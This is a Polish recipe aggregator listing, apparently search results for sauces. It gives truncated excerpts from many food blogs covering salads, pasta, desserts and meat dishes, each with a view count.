podam przepis na kolejną, tym razem z tuńczykiem. Jeśli ktoś go lubi to zapraszam. Jest szybka w wykonaniu i jakże smaczna. Składniki: 2 puszki tuńczyka w oleju (bądź w sosie własnym) kapusta pekińska 1 czerwona papryka czerwona cebula 5 ogórków konserwowych 4 jajka majonez, sól, pieprz Sposób przyrządzenia: Kroimy kapustę pekińską, tuńczyka odsączamy z zalewy, a jajka gotujemy na twardo

upichcic
SAŁATKA JARZYNOWA 370

CZARNYM SEZAMEM, ZIARNAMI I.. . 3.  SAŁATKA TUŃCZYKOWA (z kapustą pekińską, ryżem i...) 4.  SAŁATKA/PASTA KANAPKOWA Z PORA 5.  SAŁATKA ŚLEDZIOWA Z ANANASEM 6.  SOS TATARSKI MOCNO GRZYBOWY 7. SAŁATKA FASOLOWA Aby nic, a nic Wam nie umknęło:  zaobserwujcie nas:  tutaj  i polubcie na facebooku  tutaj

Wypisz Wymaluj
Kluski z serem 188

minut od wypłynięcia na powierzchnię. Gotowe wyciągamy cedzakiem i kładziemy na talerz. Odstawiamy na chwilę do przestygnięcia, dodajemy dodatki i pałaszujemy. Kluski świetnie będą smakować z pysznym  sosem wiśniowym

Kuchenny Skrawek Nieba
Pikantna zapiekanka ziemniaczana 300

delikatnie mieszamy. Dodajemy resztę warzyw, chorizo oraz posiekany czosnek z dymką. Przekładamy do naczynia żaroodpornego i wstawiamy do piekarnika. Nastawiamy go na 200 stopni i w tym czasie przygotowujemy sos serowy. W rondelku rozpuszczamy masło, dodajemy mąkę i trzepaczką energicznie mieszamy. Stopniowo dolewamy mleko cały czas mieszając. Gdy zgęstnieje wyłączamy ogień, doprawiamy pieprzem, gałką i cayenne po czym dodajemy starty

Mienta blog
Boeuf bourguignon, pampersy i przekąski. Oscypkowe ptysie z awokado. 257

wymagają specjalnego traktowania. Tym naraziła się innym matkom, bo jakże to tak?! Tym jednym stwierdzeniem wyszła na antyspołeczną parówę, ale jak bloger kulinarny może pisać, że boeuf bourguignon jest sosem pieczeniowym, tak matka karmiąca może innym powiedzieć, że „som gupie”. Jeśli jednak nie możecie przezwyciężyć chuci dotyczącej zmiany pampersa w talerzach zostańcie w domu. W domu też jest fajnie. Możecie

ladykitchen
Zupa serowa z kuleczkami mięsnymi 244

naprawdę warto spróbować. Smak doskonały , a mięsko uzupełnia białko w  diecie. Polecam. SKŁADNIKI: 2 marchewki 1/4 pora 1/2 pietruszki kawałeczek selera 100 ml śmietany  do zup i sosów 15 dag  serka topionego śmietankowego 35 dag mięsa mielonego drobiowego 1 jajko 1 łyżka bułki tartej  liść laurowy sól pieprz do smaku 1,5 litra wody WYKONANIE

W kuchennym oknie Ewy
HISZPAŃSKA POLĘDWICZKA 202

patelnię, doprawiamy dołaczoną mieszanką przypraw do warzywa po hiszpańsku. Obsmażamy, odcedzamy nadmiar tłuszczu. Wykładamy na polędwiczki do naczynia żaroodporneg. Zapiekamy ok 20 minut. Podajemy polędwiczki na warzywach polane ulubionym sosem. U mnie pieczarkowym. Do przygotowania użyłam Mieszanki Warzyw na Patelnię po hiszpańsku Iglotex

Z Majeczką w kuchni
SAŁATKA FASOLOWA 1040

CZARNYM SEZAMEM, ZIARNAMI I.. . 3.  SAŁATKA TUŃCZYKOWA (z kapustą pekińską, ryżem i...) 4.  SAŁATKA/PASTA KANAPKOWA Z PORA 5.  SAŁATKA ŚLEDZIOWA Z ANANASEM 6.  SOS TATARSKI MOCNO GRZYBOWY Aby nic, a nic Wam nie umknęło:  zaobserwujcie nas:  tutaj  i polubcie na facebooku  tutaj

Wypisz Wymaluj
Korma z wołowiną 259

minimalne różnice, ale jeśli zakochamy się w daniu z konkretnego miejsca możemy je dostrzec. Korma z jagnięciną, którą jadłam po raz pierwszy zapadła mi w pamięć najbardziej. Sos był aksamitny i delikatny, a jednocześnie pełen smaku. To mój niedościgniony ideał. Z tego też powodu w przepisie, który Wam prezentuję dodaję śmietanę i cukier, a nie tylko jogurt. Tam musiała być

W kuchni wieczorem
Apple crumble czyli smaków jesieni c.d. 145

Apple crumble to pyszny angielski deser, podawany na ciepło w szarobure jesienne popołudnie. Anglicy mają do niego jeden cudowny dodatek, którego w Polsce jeszcze nie uświadczyłam. Tzw. custard, czyli sos waniliowy, robiony na bazie mleka i żółtek. Oczywiście krem można zrobić własnoręcznie, ale skoro w Anglii można go kupić w proszku, to kto by się trudził. Niewiele brakowało, a popełniłabym

bistro mama
Pierożki z suszoną śliwką w sosie waniliowym 122

Chodziły za mną już od dawna, jadłam podobne kilka lat temu podczas Bardzo Ważnego Wyjazdu Służbowego, podane zostały jako deser. Sos był karmelowy, na pewno lepszy niż waniliowy, bo bardziej wyraźny w smaku. Ale waniliowy też jest jak najbardziej OK. Czytaj więcej

bistro mama
Focaccia z suszonymi pomidorami, oliwkami i solą gruboziarnistą 181

Powołując się na Wikipedię: Focaccia - potrawa kuchni włoskiej, jest to rodzaj pieczywa, będącego podstawą pizzy (bez sera i sosu pomidorowego – samo ciasto). Każdy region Włoch może się pochwalić inną odmianą focaccia, od suchego, z solą, ziołami (rozmaryn, szałwia) polanego oliwą ciasta, do pulchnego z suszonymi pomidorami i oliwkami. Zazwyczaj podawane na ciepło. Focaccia podawana jest przed posiłkiem dla zaspokojenia pierwszego

bistro mama
Pizza bianca z ricottą i czerwonym pesto 200

Czyli pomysł na pizzę, gdy w domu mamy wszystko co do pizzy potrzebne, a brakuje najważniejszego: sosu pomidorowego, przecieru pomidorowego, świeżych pomidorów lub pomidorów w puszce ;) Czytaj więcej

bistro mama
Tagliatelle z fasolką szparagową, pieczarkami i salami w delikatnym sosie 237

Makaron na obiad mogłabym jeść codziennie. Stąd też na blogu pojawia się tagliatelle w kolejnej odsłonie. Do zestawu: makaron + sos śmietanowy pasuje naprawdę wiele dodatków. Ograniczać nas może tylko własna wyobraźnia lub brak jakichkolwiek produktów w lodówce ;) Czytaj więcej

bistro mama
Muszle zapiekane z tuńczykiem i suszonymi pomidorami 211

Dziś tak po prostu, zwykły obiad. Muszle, tuńczyk, suszone pomidory, czarne oliwki, marynowany czosnek, sos pomidorowy i trochę żółtego sera. Sprzątanie lodówki :) Czy przepis jest w ogóle potrzebny? Tak, bo jak to kiedyś podsumowała mama Tymka: " to mniej więcej tak, jak gdyby stolarz powiedział: cztery deski, osiem gwoździ i biurko gotowe" ;) Czytaj więcej

bistro mama
Pepperoni Pizza Monkey 182

Bardziej przypomina mi barankową pizzę, ale skoro zagraniczne strony pokazują, że nazwa własna to ta z "monkey", niech więc tak pozostanie. Sosy: czosnkowy i pikantny pomidorowy- obowiązkowe! Pizza idealna do wspólnego odrywania :) Czytaj więcej

bistro mama
Tarta z kurkami i musem morelowym 196

kurkami piejemy z zachwytu oboje. A gusta kulinarne mamy różne. On mięsożerny. Ja mącznożerna. On tęskni za obiadami u mamy i jak tylko ma okazję zamawia bitki w sosie, ziemniaki i kiszonego ogórka w zestawie. U mamy rzecz jasna. Ja szukam nowych pomysłów. Najczęściej na podstawie tego, co znajdę w lodówce. Czytaj więcej

bistro mama
Nieklasyczne Chili Con Carne 230

Chili con carne, danie meksykańskie (inni piszą, że amerykańskie), a po polsku tłumacząc jest to danie z mięsa mielonego z dodatkiem chili, papryki, czosnku i cebuli w sosie pomidorowym, doprawionym kminem rzymskim. Czasami dodaje się fasolę i kukurydzę- jak w przypadku mojej, nieklasycznej wersji. A nieklasycznej dlatego, bo bez dodatku mięsa. Z resztą nie wszędzie trzeba 'pakować' mięso, bez niego

Kraina Miodem Płynąca
Gulasz wołowy na piwie 254

piwie to danie jednogarnkowe, idealne na chłodne, zimowe dni. Nietypowym dodatkiem nadającym całego smaku daniu jest ciemne, gorzkie piwo, które w połączeniu ze słodkimi, zimowymi warzywami tworzy pyszny sos. Alkohol błyskawicznie odparowuje, więc nie obawiajcie się częstować kierowców i dzieci. Danie jest bardzo gęste, esencjonalne i rozgrzewające. Seler i kalarepa, dzięki długiemu duszeniu, nabierają niezwykle delikatnego smaku. Do gulaszu najlepiej

Poezja smaku
Sos śmietanowo - warzywny z kurczakiem 1104

czasu lub pomysłu na obiad to stawiam na prostotę. Proste nie zawsze musi znaczyć zwyczajne i nudne. Taki właśnie jest ten sos - niby zwykły, a jednak jakiś inny w smaku - wyszedł smaczny i delikatny z nutą warzyw i śmietany doprawiony ziołami. W końcu bez warzyw jak dla mnie nie ma obiadu :)   Składniki na 2 porcje: 30 dag piersi

Fabryka pomysłów
Kurczak curry w mleczku kokosowym 372

Propozycja na kolejne szybkie i smaczne danie obiadowe. Dla lubiących orientalne przyprawy - pierś kurczaka w sosie curry na mleczku kokosowym. Czytaj więcej

Ana Mari's world
Sałatka ryżowa z tuńczykiem 289

SKŁADNIKI: 1 woreczek ryżu 1 puszka tuńczyka w sosie własnym 2 jajka Oliwki zielone 1/2 kulki mozzarelli Kukurydza słodka Szczypiorek Koperek Jogurt naturalny lub typu greckiego Sól, pieprz, curry PRZYGOTOWANIE: Do wcześniej ugotowanego i ostudzonego ryżu dodajemy puszkę tuńczyka. Następnie dorzucamy 2 jajka na twardo pokrojone w kostkę. Dokładamy pokrojone oliwki, 1/2 puszki kukurydzy, 1/2 kulki mozzarelli pokrojonej w kostkę

kulinarnyJa
Tagliatelle bolognese 175

koncentrat pomidorowy. Przyprawiamy oregano, solą i pieprzem. Wszystko razem smażymy, a w miedzy czasie wstawiamy makaron. Gdy makaron będzie aldente, odcedzamy go i wykładamy na talerz. Polewamy wszystko naszym sosem bolognese i posypujemy tartym serem. Smacznego

kulinarnyJa
Sałatka z tuńczykiem i makaronem Ruote Tricolore 357

Wasze opinie i komentarze. Pozdrawiam :) Czas przygotowania: 20 min. Porcja dla 4 osób Koszt przygotowania: 14,50 zł SKŁADNIKI: 200 g makaronu Ruote Tricolore 1 puszka tuńczyka w sosie własnym 1/2 czerwonej papryki 1/2 żółtej papryki 1/2 zielonej papryki 1/2 czerwonej cebuli 1/2 puszki zielonego groszku konserwowego 4 łyżeczki majonezu 3 łyżeczki pesto rosso 4 łyżeczki oliwy z oliwek świeży

kulinarnyJa
Sałatka z szynką szwarcwaldzką i panierowanym serem camembert 364

łyżeczki miodu sól, pieprz PRZYGOTOWANIE miodowo-balsmicznego vinaigrette: Do miseczki wlewamy oliwę, ocet basamiczny, miód i sok z cytryny. Za pomocą ubijaczki lub widelca łączymy ze sobą składniki, aż sos zgęstnieje. Doprawiamy solą i pieprzem. PRZYGOTOWANIE sałatki: W pierwszej kolejności panierujemy pokrojony w plastry ser camembert w jajku i bułce tartej. Zalecam podwójna panierkę. Ser smażymy na oleju

kulinarnyJa
Sałatka z avocado i grejpfrutem w cytrynowym vinaigrette 303

miseczki wlewamy oliwę. Dodajemy wyciśnięty sok z cytryny, ocet winny, musztardę. Doprawiamy szczyptą soli, pieprzu i cukru. Wszystkie składniki ze sobą łączymy za pomocą trzepaczki/ ubijaczki na jednolity sos. PRZYGOTOWANIE sałatki: Umyte i osuszone sałaty (dębowa, rzymska, rukola) rwiemy i układamy na talerzu. Następnie na mixie sałat układamy pokrojone pomidorki koktajlowe, koper włoski i mozzarellę. Dodajemy filety z grejpfruta

kulinarnyJa
Sałatka a'la grecka z wędzoną piersią kurczaka 307

miseczki wlewamy oliwę. Dodajemy wyciśnięty sok z cytryny i posiekany koperek. Doprawiamy szczyptą soli, pieprzu i cukru. Wszystkie składniki ze sobą łączymy za pomocą trzepaczki/ ubijaczki na jednolity sos. PRZYGOTOWANIE sałatki: Na talerzu układamy mix sałat. Na nim pokrojoną w paski czerwoną paprykę. Dodajemy pokrojonego ogórka, pomidorki koktajlowe i posiekaną czerwoną cebulę. Następnie na sałacie układamy plastry fety i pokrojonego

kulinarnyJa
Orientalny kurczak z kuskusem i groszkiem cukrowym 188

Miskę z kuskusem zakrywamy i odstawiamy na 5 min. Na końcu do kaszy dodajemy posiekaną miętę. Kuskus nakładamy na talerz, a na nim  naszego kurczaka w aromatycznym sosie z groszkiem cukrowym. Smacznego

kulinarnyJa
Sałatka z szynką parmeńską i mozzarellą w cytrynowym sosie 222

miseczki wlewamy oliwę. Dodajemy wyciśnięty sok z cytryny, ocet winny, musztardę. Doprawiamy szczyptą soli, pieprzu i cukru. Wszystkie składniki ze sobą łączymy za pomocą trzepaczki/ ubijaczki na jednolity sos. PRZYGOTOWANIE sałatki: Pomidora sparzamy i obieramy ze skórki. Kroimy na ćwiartki i usuwamy gniazda nasienne. Sałaty myjemy i osuszamy. Przekładamy na talerz. Dodajemy pokrojoną w słupki mozzarellę. Plastry szynki parmeńskiej układamy

kulinarnyJa
Zapiekanka makaronowa z warzywami 276

pyszną, domową zapiekankę. Najwięcej radości z przygotowanych dań, dają nam przepisy, które tworzymy sami na bazie tego co mamy w domu. Ja przygotowałem zapiekankę makaronową z warzywami w kremowym sosie pomidorowym. Do tego aromatyczne przyprawy i obiad gotowy. Czas przygotowania: 40 min. Porcja dla 6 osób Koszt przygotowania: 12,00 zł SKŁADNIKI: 250 g makaronu fusilli (świderki) 1/2 papryki czerwone

kulinarnyJa
Krewetki z marchewkowym pappardelle w cytrynowym sosie 156

być aldente, kontrolujemy aby jej nie rozgotować. Ugotowaną odcedzamy i odstawiamy. Na oliwie podsmażamy posikaną szalotkę i czosnek. Dodajemy masło, a następnie krewetki. Dolewamy wina i chwilę smażymy, aby sos się delikatnie zagęścił. Doprawiamy solą, pieprzem i sokiem z cytryny. Dodajemy wcześniej przygotowane marchewkowe pappardelle i chwilę smażymy. Wykładamy na talerz i posypujemy świeżo posiekaną natką pietruszki. Życzę smacznego

kulinarnyJa
Spaghetti aglio e olio z peperoni i rukolą 191

podsmażamy posikaną cebulę i czosnek. Dodajemy pokrojoną papryczkę peperoni. Dolewamy białego wina. Wszystko razem przesmażamy i dodajemy masło. Na końcu doprawiamy solą i pieprzem.  Ugotowany makaron przekładamy do sosu. Chwilę podsmażamy i przekładamy na talerz.  Dodajemy rukolę i posypujemy płatkami parmezanu. Smacznego

kulinarnyJa
Pałki z kurczaka pieczone w miodzie i musztardzie 2065

propozycja dla Was na złociste pałki z kurczaka pieczone w miodzie i musztardzie. Po upieczeniu kurczak będzie z wierzchu chrupiący i soczysty w środku. Do tego w słodko pikantnym sosie. Jako dodatek do dania możecie podać gotowane ziemniaki, ryż lub kaszę. To proste i smaczne danie na jesienny obiad.  Czas przygotowania: 2 h Porcja dla 2-3 osób Koszt

kulinarnyJa
Pieczony stek z łososia na szpinaku 245

podsmażamy drobno posiekaną cebulę i czosnek. Następnie dodajemy pokrojone w paseczki suszone pomidory. Dolewamy śmietankę i chwilę smażymy. Na końcu dodajemy świeży szpinak. Blanszujemy szpinak, aby połączył się z sosem. Doprawiam solą i pieprzem. Na talerz wykładamy szpinak, a na nim układamy upieczony stek z łososia. Smacznego

kulinarnyJa
Sałatka makaronowa z tuńczykiem 374

Czas przygotowania: 25 min. Porcja dla 6 osób Koszt przygotowania: 19,00 zł SKŁADNIKI na sałatkę: 300 g makaronu muszelki 150 g tuńczyka z puszki w sosie własnym 2 jajka na twardo 250 g czerwonej fasoli 250 g kukurydzy 250 g zielonego groszku 2 ogórki konserwowe 1/2 białej cebuli 1 łyżeczka soku z cytryny 2 łyżki majonezu 1 łyżka jogurtu

kulinarnyJa
Pesto 210

gotowe produkty, spróbujcie zrobić raz pesto z suszonych pomidorów własnymi siłami. Ja na jego punkcie oszalałam. Każdy ma smaki, które go uzależniają, potrawy - które zjada do ostatniej kropli sosu i wylizuje talerz. To pesto jest jednym z takich smaków. Makaron z nim to prawdziwa rozkosz dla podniebienia. Pesto z suszonych pomidorów: 1 słoik suszonych pomidorów 1 gałązka bazylii 1 sparzony

W kuchni wieczorem
Korzenne masło dyniowe 196

sprawdza się też jako dodatek do kwaśnego naturalnego jogurtu. Dorzućmy musli i pyszne śniadanie gotowe. Korci mnie, by tak jak inne słodkie przetwory wykorzystać je do mięs i mięsnych sosów lub spróbować połączyć je z serami. Pomysłów mam wiele. Będę je testować. Zachęcam też Was. Na 2 nieduże słoiczki użyłam: 550g dyni  obranej, z usuniętymi pestkami, pokrojonej w kostkę

W kuchni wieczorem
Gnocchi z dynią i szałwią 170

się niemałym bałaganem w kuchni. Składniki: gnocchi 200g puree z dyni 600g ugotowanych ziemniaków przeciśniętych przez praskę do ziemniaków 200g mąki pszennej 1 jajko sól i pieprz do smaku sos: oliwa z oliwek świeże listki szałwii parmezan sól i pieprz Sposób przygotowania: Wszystkie składniki na gnocchi zagniatamy, dzielimy ciasto na 5 części i formujemy wałki z ciasta (średnica 2cm). Jeśli

W kuchni wieczorem
Pasztet drobiowy z żurawiną, czyli co zrobić z warzywami i ćwiartką kurczaka z zupy 432

drobiowego. Nie jest jednak suchy, czego trochę się obawiałam. Może następnym razem dodam trochę boczku. Na pewno wypróbuję wersję z grzybami. Chodzi mi też po głowie dodanie jakiegoś pikantnego sosu: worcestershire, BBQ, sojowego? Co jakiś czas fiksuję się na testowaniu różnych wersji jednego rodzaju dania. Coś czuję, że nadszedł czas na pasztety :) Składniki: 2 ugotowane ćwiartki kurczaka

W kuchni wieczorem
Premiery wydawnicze, jesień 2014. Cz. II - Katie Quinn Davies, "What Katie Ate. Prosta kuchnia w dobrym stylu" 205

względu na typ dania, tak jak to było u  Lebovitza , ale mamy tu trochę więcej kategorii: śniadania, lunche, sałatki, kanapeczki i drinki, obiady, przekąski, przystawki i sosy oraz na koniec - desery. Każdy znajdzie coś dla siebie. W przepisach znajdziemy różnorodne warzywa, zioła, kasze. Można poczuć się zainspirowanym po dłuższym przeglądaniu książki. Gdzieś czytałam, że jest tu trochę niedostępnych, nieznanych

W kuchni wieczorem
Szybka pizza - gorgonzola, szałwia i kilka zdań o europejskich znakach jakości 185

opakowaniach: Obecnie oznaczenia te znajdziemy na 1248 produktach z 32 krajów. Już po tej liczbie widać, że to nie tylko kraje Unii Europejskiej. Na liście znajdziemy na przykład sos rybny z Phu Quoc (Wietnam) czy ryż jaśminowy z Tajlandii. Najwięcej certyfikowanej tymi oznaczeniami żywności pochodzi jednak z Włoch (268), Francji (219), Hiszpanii (180), Portugalii (125) i Grecji (101). Polska plasuje

W kuchni wieczorem
Mizeria 308

skórkę zostawiam) pokroić w cienkie plasterki. Śmietanę wymieszać z jogurtem, startym czosnkiem, oliwą i koperkiem. Doprawić solą i pieprzem. W misce wymieszać pokrojone w plasterki ogórki ze śmietanowym sosem. Smacznego

Stare Gary
PIEROGI Z DYNIĄ 225

pierogów do dna. Gdy wypłyną na wierzch oznacza, że są już gotowe. Kremówkę podgrzewam z cukrem, na samym końcu dodaję jogurt naturalny, doprowadzam do wrzenia, doprawiam i polewam powstałym sosem pierogi. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Ciastka czekoladowe BARDZO czy Czerwona fasolka na kwasno? 237

twarzach domowników zagościł uśmiech. Nie tylko z powodu aury zaokiennej ale i ciastek czekoladowych BARDZO! Powiecie na jaki przepis macie ochotę? Czekoladowe ciastka czy czerwona fasolka w czerwonym, kwaśnym sosie??? Przepisy tak czy owak niebawem

Dzieje kuchennej Wiewióry
Mini Przyjemniaczki = bezmączne muffinki z bananem i masłem orzechowym 209

blaszce lub w wyłączonym, lecz nadal ciepłym piekarniku i zobaczycie, jak ładnie się "zejdą".  Zatopcie w nich delikatnie zęby i rozkoszujcie się mięciutkim kawałkiem nieba! Polejcie je domowym sosem karmelowym , a odpłyniecie! Mam nadzieję, że moja radość udzieli się i Wam w tym pięknym dniu! A tymczasem sprawdźcie, co ją w dużej części powoduje - wejdźcie na stronę BAFavenue

Gotowanie to kochanie
Kaczka pieczona bardzo czosnkowa 239

kaczkę co jakiś czas piwem. Podawać    z kiszoną kapustą i kluskami kartoflanymi i oczywiście pysznymi, pieczonymi kartoflami, które znakomicie trzymały nasz ruszt. I oczywiście polewać znakomitym sosem z pieczenia.Smacznego

Stare Gary
Omlet francuski 173

niedzielne śniadanie, gdy mam chwilę czasu i nie pędzę na rano do pracy zawsze wygląda tak samo. Słodki francuski omlet. Nic dodać nic ująć! Tylko posypać cukrem pudrem albo sosem owocowym, dodać ulubione owoce albo dżemy, ach jak ja lubię takie poranki! Gdybym jeszcze mogła dostać takie śniadanie do łóżka :) Miłej niedzieli!" Składniki: 3 jajka 25 g mąki pszennej przesianej

Słodkie Przyjemności
Ciasto milionera 405

około 1 centymetra. Pieczemy 20 minut w 200`C W tym czasie przygotowujemy karmel - oczywiście możecie wykorzystać kupny kajmak z puszki, albo gotowane skondensowane mleko. Ja podaję przepis na sos karmelowy - z tym, że nie jest on tak sodki jak kajmak :) Do rondelka o grubym dnie wrzucamy masło, a gdy się rozpuści, wysypujemy cukier (nie mieszając) i czekamy do jego

Słodkie Przyjemności
22 urodziny i Beza Jamiego Olivera 242

Ważne jest, aby kremówka była ubita ale nie całkowicie sztywna.  Orzechy zwijamy w ściereczkę i miażdżymy je. Połową orzechów posypujemy bezę, polewamy niezgrabie połową ubitej śmietanki i połową sosu czekoladowego. Na wierzchy układamy równo większość gruszek, następnie polewamy ponownie kremówką i czekoladą, posypujemy orzechami, zdobimy puste miejsca resztą gruszek, skórką pomarańczową i świeżą żurawiną. Podajemy natychmiast.  Smacznego

Słodkie Przyjemności
Pudding bananowo-jabłkowy 164

przelewamy jogurt naturalny i śmietanę, mieszamy, a następnie dodajemy łyżeczkę cukru. Ugotowany pudding przekładamy do małej miseczki a następnie wykładamy na talerz ( tak jak babki z piasku :)). Ryż polewamy sosem śmietanowym, na który wykładamy około 2-3 łyżek duszonych owoców. Dekorujemy listkiem mięty, podajemy na ciepło. Smacznego

Słodkie Przyjemności
Owocowe szaszłyki 185

grilla. Na rozgrzany ruszt  układamy w lekkich odstępach nasze szaszłyki. Skraplamy je dajemy troszkę czasu na zarumienienie. Czekoladę rozpuszczamy w kąpieli wodnej, albo w mikrofali. Szaszłyki podajemy z sosem czekoladowym. Smacznego

Słodkie Przyjemności
Waniliowy deser ryżowy 189

nada dodatkowo kolor potrawie). Do ugotowanego ryżu, zdjętego z palnika, dolewamy przygotowana zaprawę i mieszamy. Ponownie wstawiamy rondelek na gazie, dolewamy resztę mleka i mieszamy. Podajemy na ciepło z sosem truskawkowym - klik . Smacznego

Słodkie Przyjemności
Panna Cotta z trawą cytrynową i jagodami 157

rozpuści przelewamy do śmietanki i energicznie mieszamy, aby nie powstały grudki. Śmietankę przelewamy do foremek – najlepiej silikonowych – odstawiamy na około 2-3 godziny do lodówki. W tym czasie przygotowujemy sos jagodowy. Do rondelka wrzucamy umyte i osuszone jagody. Posypujemy cukrem i zalewamy wodą, mieszamy. Dusimy pod przykryciem co jakiś czas mieszając przez około 10-15 minut. Studzimy. Gotową Panna Cottę

Słodkie Przyjemności
Domowe Natchos 206

wyłożonej papierem do pieczenia a następnie wstawiamy do nagrzanego do 190`C piekarnika i pieczemy 6-9 minut w zależności od grubości.  Studzimy na blaszce, podajemy z ulubionymi sosami. Smacznego

Słodkie Przyjemności
Pierogi leniwe 194

lepkie. Na obsypany mąka blat wyjmujemy ciasto, rolujemy, lekko spłaszczamy, a następnie odkrajamy niewielkie kawałki. Leniwe wrzucamy do lekko osolonego wrzątku i gotujemy do momentu wypłynięcia. Podajemy z ulubionym sosem owocowym , masłem, albo bułką tartą i cukrem. Smacznego

Słodkie Przyjemności
Brownie Klasyczne 170

około 20 minutach sprawdzić ciasto patyczkiem czy jest już upieczone (ciasto nie powinno przywierać do patyczka). (Ja piekłam 25 minut.) Ciasto studzimy w formie. Podajemy na ciepło, polane sosem czekoladowym, z gałką lodów lub ubitą kremówką. Smacznego

Słodkie Przyjemności
Focaccia - chlebek na grilla 161

dealne pieczywo na piknik czy grill? Ja znam! Jest to Focaccia! Prosty, szybki włoski chlebek, znakomity bez żadnych dodatków lub wręcz przeciwnie, smakujący idealnie z dodatkiem dipów czy sosów. Świetnie nada się na majowe grillowe weekendy czy długie letnie pikniki. Ciasto bardzo przypomina mi strukturą i smakiem ciasto na pizze, którą razem z eM szykujemy w domu. W oryginalnym przepisie

Słodkie Przyjemności
Poland Trip cz.3 - Moszna i Wrocław 222

przeważyło szalę nad wyborem napoju - padło na aromatyczną cynamonową herbatę, wybór dań już nie był tak prosty. Ja wybrałam lepiochy, czyli tradycyjne pierogi z wody, 4 sztuki mięsne z sosem pomidorowym i 5 owocowych (w tym malinowe, jagodowe i truskawkowe) ze słodką śmietaną.    Muszę przyznać, że troszkę żałowałam, gdyż talerz eM wyglądał dużo ciekawiej - wybrał pierogi z pieca

Słodkie Przyjemności
Sernik świąteczny 320

wybór jest prosty. Każdy kawałek smakuje wyśmienicie, więc sięgam po kolejne, nie zastanawiając się nad kaloriami. W święta i w sylwestra mogę jeść go bez wyrzutów sumienia, latem z sosem owocowym smakuje idealnie, zdrowo a lekko schłodzony - o mamo! Nie ma lepszego. Sami spróbujcie! Składniki : 220 g masła 1 kg sera 8 jajek 300 g cukru 4 łyżki kaszy manny

Słodkie Przyjemności
The Best of 2014 / Przepisy na sylwestra 220

dodatkowe propozycje zapraszam na Fanpage . Smacznej zabawy! Wasze ulubione przepisy (najbardziej popularne przepisy z 2014 roku) : 1.  Gulasz z szynki wierzowej / 2.  Ciasto nutella  / 3. Sos żurawinowy  / 4. Szybkie batoniki bez pieczenia  / 5. Krem mleczny  / 6. Ciasteczka z kawałkami czekolady  / 7. Ciasto bananowe z kajmakiem  / 8. Smoothie bananowe

Słodkie Przyjemności
Pieczarki faszerowane 298

samym podaniem. Ja zwykle podaję je z majonezem/ jogurtem z dodatkiem posiekanych ziół, czosnku, soku z cytryny i odrobiny pieprzu i/lub posiekanych oliwek. Ale można podawać je z innymi sosami również. Zapraszam na faszerowane pieczarki z kremowym serkiem. Pieczarki faszerowane Składniki: 300 g pieczarek (zamkniętych) 125 g kremowego serka 1-2 ząbki czosnku pieprz 1-2 łyżki koperku (świeżego

UgotujmyTo.pl
I... Indyk z suszonymi pomidorami i serem pleśniowym. 380

kolejne 5 minut w temp. 170'C. Pyszny, soczysty, aromatyczny i przede wszystkim zdrowy obiad do bateria do działania na resztę dnia! Podałam z brązowym ryżem i sałatką z sosem vinaigre .  Volià! Smacznego

Kitchens Alphabet
Lekka sałatka z tuńczykiem i fetą 354

odsączony tuńczyk pokrojony w kostkę ser sałatkowy zielone oliwki pokrojona w grubą kostkę papryka pokrojona w piórka cebula czerwona 2. Olej, wodę i przyprawę do sałatek mieszamy i polewamy sosem sałatkę. 3. Sałatka jest od razu gotowa do spożycia. Smacznego

Kuchnia domowa Ani
Pełnoziarniste penne rigate z pomidorami i kurkami. 241

momentu zgęstnienia, wrzucamy posiekaną bazylię i mieszamy. Makaron gotujemy w osolonej wodzie. Odcedzamy i nie zalewamy zimną wodą! Skrapiamy go oliwą, podrzucamy na sicie i wrzucamy na patelnię z sosem, podsmażamy dwie minuty. Wykładamy na talerz posypujemy serem

BaRepas
Kruche Marchewki 373

łyżki gęstej śmietany 18% pieprz ziołowy, papryka słodka, curry Farsz: 100-150g mrożonego szpinaku, rozdrobnionego 1/2 połówki piersi z kurczaka 2 łyżki śmietany 18% do zup i sosów (najlepiej takiej, żeby się nie zwarzyła  2 ząbki czosnku masło do smażenia sól, pieprz czarny,czosnek granulowany przyprawa do kurczaka Dodatkowo: karbowana sałata do dekoracji Ciasto: Z mąki, masła, jajka

Czerwona Porzeczka
Placki kartoflane z łososiem 208

celu pozbycia się nadmiaru tłuszczu. Wymieszać jogurt ze startym czosnkiem, koperkiem, solą i pieprzem Dodać trochę oliwy Na każdym placku ułożyć kilka kawałków łososia i trochę sosu jogurtowego. Smacznego

Stare Gary
GULASZ CIELĘCY Z TYMIANKIEM, W DELIKATNYM ŚMIETANOWYM SOSIE 218

Delikatne cielęce mięso (u mnie udziec), z dodatkiem tymianku, w pysznym śmietanowym sosie (bez dodatku mąki), z aromatem białego wina. Niby niewiele a smak cudowny. Cielęcina to niezbyt popularne mięso, tak przynajmniej wynika z moich obserwacji, a szkoda. Głównie kupujemy je dla dzieci, bo jest bardzo delikatne, dietetyczne i zdrowe. Może warto zaszaleć i przygotować je również w wersji smacznej

Smaczne Zdrowe
Babka z polewą z kukułek 277

święta dostałam od bratowej nalewkę z kukułek. Kompletnie nie spodziewałam się, że to coś tak pysznego! Nalewka była dość gęsta więc folgowałam sobie używając jej jako sos do ciast (szczególnie z sernikiem smakowała wybornie). Oczywiście wszystko z umiarem;)          Nalewka ta natchnęła mnie do rozważań nad wykorzystaniem kukułek do wypieków. Jako pierwsza przyszła

happycreatiff.blogspot.com
Mezze penne rigate z pieczarkami, grillowanym paprykowym kurczakiem i winnym ogórkiem. 178

Kolejny sympatyczny dzień; Pablo po niemal dwóch tygodniach w przedszkolu, a tu już dzwonią, że znowu chory. Tym razem blady, z bolącym brzuszkiem i ogólnie nie w sosie. Uziemiony w domu z wykasowanymi na dziś planami, włączyłem, bąblowi leżącemu na kanapie, pod kocykiem w kolorze blue, drugą część Smerfów. Nie zliczę ile razy to już widział, straciłem rachubę przy

BaRepas
Panini. 174

najważniejsze jednak że pyszne, zdrowe i pożywne. Wersja moja ze zdrowa żytnią bułką, ekstra porcją rukoli, cykorii i papryki. Do wyżej wymienionych potrzebujemy jeszcze: mozzarellę, oliwę, jogurt naturalny, majonez. Sos: majonez, papryka - świeża obrana i drobno starta - jogurt, sól. Pieczywo przekrawamy, podgrzewamy w opiekaczu, skrapiamy oliwą, wykładamy ser i dodatki. Smacznego

BaRepas
Quattro fromaggi na bagietce z pesto. 200

